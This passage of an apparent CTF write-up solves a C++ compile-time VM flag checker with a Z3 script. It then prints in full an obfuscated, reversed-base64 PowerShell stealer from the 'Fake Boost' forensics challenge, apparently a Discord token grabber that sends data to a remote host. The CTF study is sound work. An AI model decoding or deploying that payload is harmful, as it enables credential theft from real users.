insn_t(8, 4, 1960868242), insn_t(6, 12, 12), insn_t(10, 4, 2775657353), insn_t(16, 10, 13), insn_t(8, 4, 1451259226), insn_t(8, 4, 607382171), insn_t(13, 13, 13), insn_t(10, 4, 357643050), insn_t(2, 4, 2020402776), insn_t(8, 5, 2408165152), insn_t(13, 12, 10), insn_t(2, 5, 806913563), insn_t(10, 5, 772591592), insn_t(20, 13, 11), insn_t(2, 5, 2211018781), insn_t(10, 5, 2523354879), insn_t(8, 5, 2549720391), insn_t(2, 5, 3908178996), insn_t(2, 5, 1299171929), insn_t(8, 5, 512513885), insn_t(10, 5, 2617924552), insn_t(1, 12, 13), insn_t(8, 5, 390960442), insn_t(12, 11, 13), insn_t(8, 5, 1248271133), insn_t(8, 5, 2114382155), insn_t(1, 10, 13), insn_t(10, 5, 2078863299), insn_t(20, 12, 12), insn_t(8, 5, 2857504053), insn_t(10, 5, 4271947727), insn_t(2, 6, 2238126367), insn_t(2, 6, 1544827193), insn_t(8, 6, 4094800187), insn_t(2, 6, 3461906189), insn_t(10, 6, 1812592759), insn_t(2, 6, 1506702473), insn_t(8, 6, 536175198), insn_t(2, 6, 1303821297), insn_t(8, 6, 715409343), insn_t(2, 6, 4094566992), insn_t(14, 10, 11), insn_t(2, 6, 1890141105), insn_t(0, 13, 13), insn_t(2, 6, 3143319360), insn_t(10, 7, 696930856), insn_t(2, 7, 926450200), insn_t(8, 7, 352056373), insn_t(20, 13, 11), insn_t(10, 7, 3857703071), insn_t(8, 7, 3212660135), insn_t(5, 12, 10), insn_t(10, 7, 3854876250), insn_t(21, 12, 11), insn_t(8, 7, 3648688720), insn_t(2, 7, 2732629817), insn_t(4, 10, 12), insn_t(10, 7, 2285138643), insn_t(18, 10, 13), insn_t(2, 7, 2255852466), insn_t(2, 7, 2537336944), insn_t(3, 10, 13), insn_t(2, 7, 4257606405), insn_t(10, 8, 3703184638), insn_t(7, 11, 10), insn_t(10, 8, 2165056562), insn_t(8, 8, 2217220568), insn_t(19, 10, 12), insn_t(8, 8, 2088084496), insn_t(15, 13, 10), insn_t(8, 8, 443074220), insn_t(16, 13, 12), insn_t(10, 8, 1298336973), insn_t(2, 13, 11), insn_t(8, 8, 822378456), insn_t(19, 11, 12), insn_t(8, 8, 2154711985), insn_t(0, 11, 12), insn_t(10, 8, 430757325), insn_t(2, 12, 10), insn_t(2, 8, 2521672196), insn_t(10, 9, 532704100), insn_t(10, 9, 2519542932), insn_t(2, 9, 2451309277), insn_t(2, 9, 3957445476), insn_t(5, 10, 10), insn_t(8, 9, 2583554449), insn_t(10, 9, 1149665327), insn_t(12, 13, 12), insn_t(8, 9, 3053959226), insn_t(0, 10, 10), insn_t(8, 9, 3693780276), insn_t(15, 11, 10), insn_t(2, 9, 609918789), insn_t(2, 9, 2778221635), insn_t(16, 13, 10), insn_t(8, 9, 3133754553), insn_t(8, 11, 13), insn_t(8, 9, 3961507338), insn_t(2, 9, 1829237263), insn_t(16, 11, 13), insn_t(2, 9, 2472519933), insn_t(6, 12, 12), insn_t(8, 9, 4061630846), insn_t(10, 9, 1181684786), insn_t(13, 10, 11), insn_t(10, 9, 390349075), insn_t(8, 9, 2883917626), insn_t(10, 9, 3733394420), insn_t(10, 12, 12), insn_t(2, 9, 3895283827), insn_t(20, 10, 11), insn_t(2, 9, 2257053750), insn_t(10, 9, 2770821931), insn_t(18, 10, 13), insn_t(2, 9, 477834410), insn_t(19, 13, 12), insn_t(3, 0, 1), insn_t(12, 12, 12), insn_t(3, 1, 2), insn_t(11, 13, 11), insn_t(3, 2, 3), insn_t(3, 3, 4), insn_t(3, 4, 5), insn_t(1, 13, 13), insn_t(3, 5, 6), insn_t(7, 11, 11), insn_t(3, 6, 7), insn_t(4, 10, 12), insn_t(3, 7, 8), insn_t(18, 12, 12), insn_t(3, 8, 9), insn_t(21, 12, 10), insn_t(3, 9, 10)>;
    static_assert(program::registers[0] == 0x3ee88722 && program::registers[1] == 0xecbdbe2 && program::registers[2] == 0x60b843c4 && program::registers[3] == 0x5da67c7 && program::registers[4] == 0x171ef1e9 && program::registers[5] == 0x52d5b3f7 && program::registers[6] == 0x3ae718c0 && program::registers[7] == 0x8b4aacc2 && program::registers[8] == 0xe5cf78dd && program::registers[9] == 0x4a848edf && program::registers[10] == 0x8f && program::registers[11] == 0x4180000 && program::registers[12] == 0x0 && program::registers[13] == 0xd && program::registers[14] == 0x0, "Ah! Your flag is invalid.");
}

At first glance it looked complex, but the first half is mostly just processing to allow the 40-character flag string defined by [[maybe_unused]] auto flag = "HTB{___________________________________}"_flag; to later be extracted one character at a time with Flag.at(Insn.op1), so it can be ignored.

The particularly important part of this code is the following.

struct insn_t {
    uint32_t opcode = 0;
    uint32_t op0 = 0;
    uint32_t op1 = 0;
};

template<flag_t Flag, insn_t... Instructions>
struct program_t {
    using R = std::array<uint32_t, 15>;

    template<insn_t Insn>
    static constexpr void execute_one(R &regs) {
        if constexpr (Insn.opcode == 0) {
            regs[Insn.op0] = Flag.at(Insn.op1);
        } else if constexpr (Insn.opcode == 1) {
            regs[Insn.op0] = Insn.op1;
/* 省略 */
    }

    template<std::size_t... Is>
    static constexpr void execute_impl(R &regs, std::index_sequence<Is...>) {
        (execute_one<Instructions>(regs), ...);
    }

    static constexpr void execute(R &regs) {
        execute_impl(regs, std::make_index_sequence<sizeof...(Instructions)>{});
    }

    static constexpr R registers = []() -> R {
        R arr = {};
        execute(arr);
        return arr;
    }();
};

First, insn_t defines the structure of operands and opcodes that will later be passed to the VM.

In the subsequent programt template, operations are performed repeatedly using three things: the flag string, an empty array regs, and the instructions passed as insnt.

For example, in the case of insn_t(0, 14, 2), the opcode is 0 and op0 and op1 are 14 and 2 respectively, so the instruction regs[14] = Flag.at(2) is executed.

After executing all these instructions, the flag string that results in the final regs values matching the hardcoded values is the correct flag.

I ultimately created the following solver and obtained the flag using Z3.

import re
from z3 import *

def rotl(value, shift):
    n = (shift & 0xFFFFFFFF) % 32
    return ((value << n) | (value >> (32 - n))) & 0xFFFFFFFF

def rotr(value, shift):
    n = (shift & 0xFFFFFFFF) % 32
    return (value >> n) | (value << (32 - n)) & 0xFFFFFFFF

flag = [BitVec(f"flag[{i}]", 32) for i in range(40)]
s = Solver()
s.add(flag[0] == ord("H"))
s.add(flag[1] == ord("T"))
s.add(flag[2] == ord("B"))
s.add(flag[3] == ord("{"))
s.add(flag[40-1] == ord("}"))
for i in range(40):
    s.add(And(
        (flag[i] >= 0x21),
        (flag[i] <= 0x7e)
    ))
regs = [BitVec(f"regs[{i}]", 32) for i in range(15)]
for i in range(15):
    regs[i] = 0

acts = "(12, 13, 10),(21, 0, 0),(0, 13, 13),(0, 14, 0),(15, 11, 12),(24, 14, 0),(5, 0, 14),(0, 14, 1),(7, 11, 11),(24, 14, 8),(5, 0, 14),(0, 14, 2),(2, 10, 11),(24, 14, 16),(18, 12, 11),(5, 0, 14),(0, 14, 3),(0, 11, 11),(24, 14, 24),(13, 10, 10),(5, 0, 14),(2, 11, 13),(21, 1, 0),(0, 14, 4),(24, 14, 0),(5, 1, 14),(6, 11, 12),(0, 14, 5),(8, 10, 10),(24, 14, 8),(11, 12, 11),(5, 1, 14),(0, 14, 6),(0, 12, 10),(24, 14, 16),(9, 10, 13),(5, 1, 14),(0, 14, 7),(13, 12, 12),(24, 14, 24),(15, 10, 12),(5, 1, 14),(21, 2, 0),(20, 13, 13),(0, 14, 8),(24, 14, 0),(19, 10, 11),(5, 2, 14),(6, 12, 10),(0, 14, 9),(8, 11, 11),(24, 14, 8),(5, 2, 14),(0, 14, 10),(4, 11, 12),(24, 14, 16),(5, 2, 14),(0, 14, 11),(24, 14, 24),(4, 13, 12),(5, 2, 14),(21, 3, 0),(14, 10, 12),(0, 14, 12),(13, 10, 11),(24, 14, 0),(16, 10, 10),(5, 3, 14),(5, 11, 12),(0, 14, 13),(12, 10, 13),(24, 14, 8),(2, 10, 13),(5, 3, 14),(20, 11, 11),(0, 14, 14),(24, 14, 16),(18, 13, 11),(5, 3, 14),(6, 11, 13),(0, 14, 15),(24, 14, 24),(4, 11, 10),(5, 3, 14),(21, 4, 0),(15, 13, 11),(0, 14, 16),(6, 10, 10),(24, 14, 0),(14, 10, 12),(5, 4, 14),(0, 14, 17),(12, 13, 13),(24, 14, 8),(19, 11, 10),(5, 4, 14),(0, 14, 18),(17, 13, 12),(24, 14, 16),(5, 4, 14),(0, 14, 19),(24, 14, 24),(21, 12, 10),(5, 4, 14),(13, 13, 10),(21, 5, 0),(0, 14, 20),(19, 10, 13),(24, 14, 0),(5, 5, 14),(0, 14, 21),(24, 14, 8),(8, 13, 13),(5, 5, 14),(0, 14, 22),(16, 13, 11),(24, 14, 16),(10, 10, 13),(5, 5, 14),(7, 10, 12),(0, 14, 23),(19, 13, 10),(24, 14, 24),(5, 5, 14),(17, 12, 10),(21, 6, 0),(16, 11, 10),(0, 14, 24),(24, 14, 0),(10, 11, 10),(5, 6, 14),(0, 14, 25),(24, 14, 8),(7, 10, 12),(5, 6, 14),(0, 14, 26),(16, 12, 11),(24, 14, 16),(3, 11, 10),(5, 6, 14),(15, 11, 13),(0, 14, 27),(4, 12, 13),(24, 14, 24),(5, 6, 14),(14, 11, 13),(21, 7, 0),(0, 14, 28),(21, 13, 11),(24, 14, 0),(7, 12, 11),(5, 7, 14),(17, 11, 10),(0, 14, 29),(24, 14, 8),(5, 7, 14),(0, 14, 30),(12, 10, 10),(24, 14, 16),(5, 7, 14),(0, 14, 31),(20, 10, 10),(24, 14, 24),(5, 7, 14),(21, 8, 0),(18, 10, 12),(0, 14, 32),(9, 11, 11),(24, 14, 0),(21, 12, 11),(5, 8, 14),(0, 14, 33),(24, 14, 8),(19, 10, 13),(5, 8, 14),(8, 12, 13),(0, 14, 34),(24, 14, 16),(5, 8, 14),(8, 10, 10),(0, 14, 35),(24, 14, 24),(21, 13, 10),(5, 8, 14),(0, 12, 10),(21, 9, 0),(0, 14, 36),(24, 14, 0),(5, 9, 14),(17, 11, 11),(0, 14, 37),(14, 10, 13),(24, 14, 8),(5, 9, 14),(4, 10, 11),(0, 14, 38),(13, 11, 13),(24, 14, 16),(5, 9, 14),(0, 14, 39),(10, 11, 10),(24, 14, 24),(20, 13, 13),(5, 9, 14),(6, 12, 11),(21, 14, 0),(8, 0, 2769503260),(10, 0, 997841014),(19, 12, 11),(2, 0, 4065997671),(5, 13, 11),(8, 0, 690011675),(15, 11, 11),(8, 0, 540576667),(2, 0, 1618285201),(8, 0, 1123989331),(8, 0, 1914950564),(8, 0, 4213669998),(21, 13, 11),(8, 0, 1529621790),(10, 0, 865446746),(2, 10, 11),(8, 0, 449019059),(16, 13, 11),(8, 0, 906976959),(6, 10, 10),(8, 0, 892028723),(10, 0, 1040131328),(2, 0, 3854135066),(2, 0, 4133925041),(2, 0, 1738396966),(2, 12, 12),(8, 0, 550277338),(10, 0, 1043160697),(2, 1, 1176768057),(10, 1, 2368952475),(8, 12, 11),(2, 1, 2826144967),(8, 1, 1275301297),(10, 1, 2955899422),(2, 1, 2241699318),(12, 11, 10),(8, 1, 537794314),(11, 13, 10),(8, 1, 473021534),(17, 12, 13),(8, 1, 2381227371),(10, 1, 3973380876),(10, 1, 1728990628),(6, 11, 13),(8, 1, 2974252696),(0, 11, 11),(8, 1, 1912236055),(2, 1, 3620744853),(3, 10, 13),(2, 1, 2628426447),(11, 13, 12),(10, 1, 486914414),(16, 11, 12),(10, 1, 1187047173),(14, 12, 11),(2, 2, 3103274804),(13, 10, 10),(8, 2, 3320200805),(8, 2, 3846589389),(1, 13, 13),(2, 2, 2724573159),(10, 2, 1483327425),(2, 2, 1957985324),(14, 13, 12),(10, 2, 1467602691),(8, 2, 3142557962),(2, 13, 12),(2, 2, 2525769395),(8, 2, 3681119483),(8, 12, 11),(10, 2, 1041439413),(10, 2, 1042206298),(2, 2, 527001246),(20, 10, 13),(10, 2, 855860613),(8, 10, 10),(8, 2, 1865979270),(1, 13, 10),(8, 2, 2752636085),(2, 2, 1389650363),(10, 2, 2721642985),(18, 10, 11),(8, 2, 3276518041),(15, 10, 10),(2, 2, 1965130376),(2, 3, 3557111558),(2, 3, 3031574352),(16, 12, 10),(10, 3, 4226755821),(8, 3, 2624879637),(8, 3, 1381275708),(2, 3, 3310620882),(2, 3, 2475591380),(8, 3, 405408383),(2, 3, 2291319543),(0, 12, 12),(8, 3, 4144538489),(2, 3, 3878256896),(6, 11, 10),(10, 3, 2243529248),(10, 3, 561931268),(11, 11, 12),(10, 3, 3076955709),(18, 12, 13),(8, 3, 2019584073),(10, 13, 12),(8, 3, 1712479912),(18, 11, 11),(2, 3, 2804447380),(17, 10, 10),(10, 3, 2957126100),(18, 13, 13),(8, 3, 1368187437),(17, 10, 12),(8, 3, 3586129298),(10, 4, 1229526732),(19, 11, 11),(10, 4, 2759768797),(1, 10, 13),(2, 4, 2112449396),(10, 4, 1212917601),(2, 4, 1524771736),(8, 4, 3146530277),(2, 4, 2997906889),(16, 12, 10),(8, 4, 4135691751),(8, 4, 1960868242),(6, 12, 12),(10, 4, 2775657353),(16, 10, 13),(8, 4, 1451259226),(8, 4, 607382171),(13, 13, 13),(10, 4, 357643050),(2, 4, 2020402776),(8, 5, 2408165152),(13, 12, 10),(2, 5, 806913563),(10, 5, 772591592),(20, 13, 11),(2, 5, 2211018781),(10, 5, 2523354879),(8, 5, 2549720391),(2, 5, 3908178996),(2, 5, 1299171929),(8, 5, 512513885),(10, 5, 2617924552),(1, 12, 13),(8, 5, 390960442),(12, 11, 13),(8, 5, 1248271133),(8, 5, 2114382155),(1, 10, 13),(10, 5, 2078863299),(20, 12, 12),(8, 5, 2857504053),(10, 5, 4271947727),(2, 6, 2238126367),(2, 6, 1544827193),(8, 6, 4094800187),(2, 6, 3461906189),(10, 6, 1812592759),(2, 6, 1506702473),(8, 6, 536175198),(2, 6, 1303821297),(8, 6, 715409343),(2, 6, 4094566992),(14, 10, 11),(2, 6, 1890141105),(0, 13, 13),(2, 6, 3143319360),(10, 7, 696930856),(2, 7, 926450200),(8, 7, 352056373),(20, 13, 11),(10, 7, 3857703071),(8, 7, 3212660135),(5, 12, 10),(10, 7, 3854876250),(21, 12, 11),(8, 7, 3648688720),(2, 7, 2732629817),(4, 10, 12),(10, 7, 2285138643),(18, 10, 13),(2, 7, 2255852466),(2, 7, 2537336944),(3, 10, 13),(2, 7, 4257606405),(10, 8, 3703184638),(7, 11, 10),(10, 8, 2165056562),(8, 8, 2217220568),(19, 10, 12),(8, 8, 2088084496),(15, 13, 10),(8, 8, 443074220),(16, 13, 12),(10, 8, 1298336973),(2, 13, 11),(8, 8, 822378456),(19, 11, 12),(8, 8, 2154711985),(0, 11, 12),(10, 8, 430757325),(2, 12, 10),(2, 8, 2521672196),(10, 9, 532704100),(10, 9, 2519542932),(2, 9, 2451309277),(2, 9, 3957445476),(5, 10, 10),(8, 9, 2583554449),(10, 9, 1149665327),(12, 13, 12),(8, 9, 3053959226),(0, 10, 10),(8, 9, 3693780276),(15, 11, 10),(2, 9, 609918789),(2, 9, 2778221635),(16, 13, 10),(8, 9, 3133754553),(8, 11, 13),(8, 9, 3961507338),(2, 9, 1829237263),(16, 11, 13),(2, 9, 2472519933),(6, 12, 12),(8, 9, 4061630846),(10, 9, 1181684786),(13, 10, 11),(10, 9, 390349075),(8, 9, 2883917626),(10, 9, 3733394420),(10, 12, 12),(2, 9, 3895283827),(20, 10, 11),(2, 9, 2257053750),(10, 9, 2770821931),(18, 10, 13),(2, 9, 477834410),(19, 13, 12),(3, 0, 1),(12, 12, 12),(3, 1, 2),(11, 13, 11),(3, 2, 3),(3, 3, 4),(3, 4, 5),(1, 13, 13),(3, 5, 6),(7, 11, 11),(3, 6, 7),(4, 10, 12),(3, 7, 8),(18, 12, 12),(3, 8, 9),(21, 12, 10),(3, 9, 10)"
pattern = r"(\d{1,30}, \d{1,30}, \d{1,30})"
acts = re.findall(pattern,acts)

for a in acts:
    a = a.split(", ")
    opcode = int(a[0]) & 0xFFFFFFFF
    op0 = int(a[1]) & 0xFFFFFFFF
    op1 = int(a[2]) & 0xFFFFFFFF

    if opcode == 0:
        regs[op0] = flag[op1]
    elif opcode == 1:
        regs[op0] = op1
    elif opcode == 2:
        regs[op0] ^= op1
    elif opcode == 3:
        regs[op0] ^= regs[op1]
    elif opcode == 4:
        regs[op0] |= op1
    elif opcode == 5:
        regs[op0] |= regs[op1]
    elif opcode == 6:
        regs[op0] &= op1
    elif opcode == 7:
        regs[op0] &= regs[op1]
    elif opcode == 8:
        regs[op0] += op1
    elif opcode == 9:
        regs[op0] += regs[op1]
    elif opcode == 10:
        regs[op0] -= op1
    elif opcode == 11:
        regs[op0] -= regs[op1]
    elif opcode == 12:
        regs[op0] *= op1
    elif opcode == 13:
        regs[op0] *= regs[op1]
    elif opcode == 14:
        pass
    elif opcode == 15:
        pass
    elif opcode == 16:
        regs[op0] = rotr(regs[op0], op1)
    elif opcode == 17:
        regs[op0] = rotr(regs[op0], regs[op1])
    elif opcode == 18:
        regs[op0] = rotl(regs[op0], op1)
    elif opcode == 19:
        regs[op0] = rotl(regs[op0], regs[op1])
    elif opcode == 20:
        regs[op0] = regs[op1]
    elif opcode == 21:
        regs[op0] = 0
    elif opcode == 22:
        regs[op0] = (regs[op0] >> op1) & 0xFFFFFFFF
    elif opcode == 23:
        regs[op0] = (regs[op0] >> regs[op1]) & 0xFFFFFFFF
    elif opcode == 24:
        regs[op0] = (regs[op0] << op1) & 0xFFFFFFFF
    elif opcode == 25:
        regs[op0] = (regs[op0] << regs[op1]) & 0xFFFFFFFF

s.add(regs[0] == 0x3ee88722)
s.add(regs[1] == 0xecbdbe2)
s.add(regs[2] == 0x60b843c4)
s.add(regs[3] == 0x5da67c7)
s.add(regs[4] == 0x171ef1e9)
s.add(regs[5] == 0x52d5b3f7)
s.add(regs[6] == 0x3ae718c0)
s.add(regs[7] == 0x8b4aacc2)
s.add(regs[8] == 0xe5cf78dd)
s.add(regs[9] == 0x4a848edf)
s.add(regs[10] == 0x8f)
s.add(regs[11] == 0x4180000)
s.add(regs[12] == 0x0)
s.add(regs[13] == 0xd)
s.add(regs[14] == 0x0)

# print(regs)

while s.check() == sat:
    m = s.model()
    for c in flag:
        print(chr(m[c].as_long()),end="")
    print("")
    break

image-20240315232123696

Fake Boost(Forensic)

In the shadow of The Fray, a new test called ""Fake Boost"" whispers promises of free Discord Nitro perks. It’s a trap, set in a world where nothing comes without a cost. As factions clash and alliances shift, the truth behind Fake Boost could be the key to survival or downfall. Will your faction see through the deception? KORP™ challenges you to discern reality from illusion in this cunning trial.

From the pcap file provided as the challenge file, the following script can be extracted.

$jozeq3n = "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gACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIK0AIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgAiCN8yX8BCIg8yXf91XfxFIv81XfxFIv81Xf91XcBCIv81XfxFIgw3X891Xcx3Xv8FXgw3XcBCffxyXfxFIgw3X89yXf9FXf91Xc9yXf9FffxHIv81XfxHI891XfxFff91XcBCI89Ffgw3XcpQD8BCIf91Xc91XvAyLu8CIv8Ffgw1Xf91Lg8iLgwHIp8FKgwHI8BCffxHI8BCfgACX8BCfgwHI89FKgwHI8BCfgkyXoACffhCIcByXfxFI89CIvwHI8ByLf9FIg8yXfBCI8BCfgwHI8BCfK0Afgw3XvAyLg8CIvACI8BCfvACI8BCIvAyLgACIgwFIfByLf91Jgw3XfBCfgwHIgBiLgwHI8BCYfByLf91JgwHXg8FIv81Xg8Cff9FIvACfgwHI8BCfgwFIfByLcByXg8yXfdCI89FIgwnCNwHI89CIvcyLg8CInAGfgcyL8BCfn8CIvAyJgBCIg81XfByXfByXg8Ffgw3X8BCfcBCI8BCfgw3XfByXfByXgAyXf9FIf91XgAyXf9FIfxHI8BCfgwHIg81XfBCIf91Xg81Xg8FIfxHI8pQD8BCIg8CIcBCIf9FIvwHIg8FIgwHXgAyXfByLgACIgACIgACIgACIgwHIp8FKgwHIcBCfgwHI8BCIgACIgACIgACIgACIgACIgACIgkyXoACIfBCI8BCIgACIgACIgACIgACff91XgACfK0AIf91XgACIf91Xf9FIg81Xf91XgAyXf91XfBCIgACIgACIgACIgACIg8FIfByXgACIfBCIg8FIgACIgACIgACIgACIgACIgACIgACIg8FIf91Xf91XgACIgACIgACIgACIgAyXf91Xf9lCNICI0N3bI1SZ0lmcXpQDK0QfK0QKhRXYExGb1ZGJocmbpJHdTRjNlNXYC9GV6oTX0JXZ252bD5SblR3c5N1W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